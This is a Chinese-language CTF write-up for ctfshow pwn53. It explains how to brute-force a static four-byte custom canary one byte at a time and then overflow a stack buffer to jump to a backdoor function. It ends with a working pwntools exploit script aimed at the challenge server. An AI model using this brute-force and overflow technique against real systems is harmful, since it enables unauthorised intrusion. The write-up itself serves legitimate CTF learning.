ctfshow-pwn53

ctfshow-pwn53-类canary爆破

我们先checksec一下:

1

可以发现,没有开启canary保护,可能是栈溢出,拖入IDA中:

2

main函数里面执行了这个函数,看来是手动放置了canary,大小为4字节,我们看看接下来的函数:

3

这个ctfshow函数先是循环读取,每次读取一个字节,直到读取到换行符(ascii:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从v2中读取一个整数,存放到nbytes变量中,这个变量决定了我们能够向buf写入的数据大小,我们想要造成溢出,这个数据就得大点,接下来,就去比较s1与我们的global_canary是否相同,相同这个函数才能正常返回,造成溢出,后门函数如下:

4

那我们就得去爆破这个global_canary的值了,这个值是静态的,是不变的,因为它起到的是类似canary的效果,所以我们可以反复连接程序,第一次去覆盖global_canary的一个字节,直到爆破出第一个字节所对应的值后,我们再改为覆盖两个字节,去爆破出第二个字节的值,依次类推,直到第四个字节爆破出来,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

cannry = ""

for i in range(4):

for k in range(256):

sh = remote("pwn.challenge.ctf.show",28130)

sh.recvuntil("How many bytes do you want to write to the buffer?\n>")

sh.sendline("1000")

payload = "A"*(0x20) + cannry + chr(k)

sh.recvuntil("$ ")

sh.send(payload)

data = sh.recv()

print("data:" + data)

if "Where is the flag?" in data:

cannry += chr(k)

print("sucess!!!")

print(cannry)

break

else:

print("no!")

sh.close()

sleep(0.1)

print('cannry------------------>:'+cannry)

sh = remote("pwn.challenge.ctf.show",28130)

flag_address = 0x8048696

payload = "A"*(0x20) + cannry + "A"*(0x10) + p32(flag_address)

sh.recvuntil("How many bytes do you want to write to the buffer?\n>")

sh.sendline("1000")

sh.recvuntil("$ ")

sh.send(payload)
sh.interactive()